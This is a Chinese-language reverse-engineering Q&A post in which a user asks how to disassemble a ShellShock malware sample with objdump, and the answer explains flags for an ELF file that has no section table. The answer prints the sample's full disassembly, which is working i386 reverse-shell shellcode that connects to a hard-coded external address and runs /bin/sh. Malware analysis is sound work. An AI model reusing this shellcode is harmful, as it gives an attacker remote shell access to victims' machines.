无法使用 objdump 转储恶意软件程序集

逆向工程 恶意软件 转储
2021-07-02 09:03:10

我正在尝试转储此博客文章中解释的 ShellShock 恶意软件的汇编代码:

转储 using 后objdump -d,输出仅显示以下内容:

fu4k:     file format elf32-i386

然后,我尝试了命令objdump -b elf32-i386 -d fu4k,但它给出了相同的输出。

请指出我正确的方向。恶意软件位于此处 (需要登录,密码:已感染)。

1个回答

-d只反汇编 objdump 认为是代码段的内容。您可以使用-D来强制拆卸所有部分。但是,它仍然不适用于此文件,因为它没有节表

fu4k:     file format elf32-i386
fu4k
architecture: i386, flags 0x00000102:
EXEC_P, D_PAGED
start address 0x08048054

Program Header:
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x00000098 memsz 0x000000dc flags rwx

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
SYMBOL TABLE:
no symbols

因此,在这种情况下,您可以要求 objdump 将文件视为二进制文件并反汇编所有内容:

objdump -b binary -D -m i386 fu4k

为了改进反汇编,您可以使用程序头信息(加载地址和入口点地址):

>objdump -b binary -D -m i386 fu4k --adjust-vma=0x08048000 --start-address=0x08048054

fu4k:     file format binary


Disassembly of section .data:

08048054 <.data+0x54>:
 8048054:       31 db                   xor    %ebx,%ebx
 8048056:       f7 e3                   mul    %ebx
 8048058:       53                      push   %ebx
 8048059:       43                      inc    %ebx
 804805a:       53                      push   %ebx
 804805b:       6a 02                   push   $0x2
 804805d:       89 e1                   mov    %esp,%ecx
 804805f:       b0 66                   mov    $0x66,%al
 8048061:       cd 80                   int    $0x80
 8048063:       93                      xchg   %eax,%ebx
 8048064:       59                      pop    %ecx
 8048065:       b0 3f                   mov    $0x3f,%al
 8048067:       cd 80                   int    $0x80
 8048069:       49                      dec    %ecx
 804806a:       79 f9                   jns    0x8048065
 804806c:       68 1b 13 9f e0          push   $0xe09f131b
 8048071:       68 02 00 11 c1          push   $0xc1110002
 8048076:       89 e1                   mov    %esp,%ecx
 8048078:       b0 66                   mov    $0x66,%al
 804807a:       50                      push   %eax
 804807b:       51                      push   %ecx
 804807c:       53                      push   %ebx
 804807d:       b3 03                   mov    $0x3,%bl
 804807f:       89 e1                   mov    %esp,%ecx
 8048081:       cd 80                   int    $0x80
 8048083:       52                      push   %edx
 8048084:       68 2f 2f 73 68          push   $0x68732f2f
 8048089:       68 2f 62 69 6e          push   $0x6e69622f
 804808e:       89 e3                   mov    %esp,%ebx
 8048090:       52                      push   %edx
 8048091:       53                      push   %ebx
 8048092:       89 e1                   mov    %esp,%ecx
 8048094:       b0 0b                   mov    $0xb,%al
 8048096:       cd 80                   int    $0x80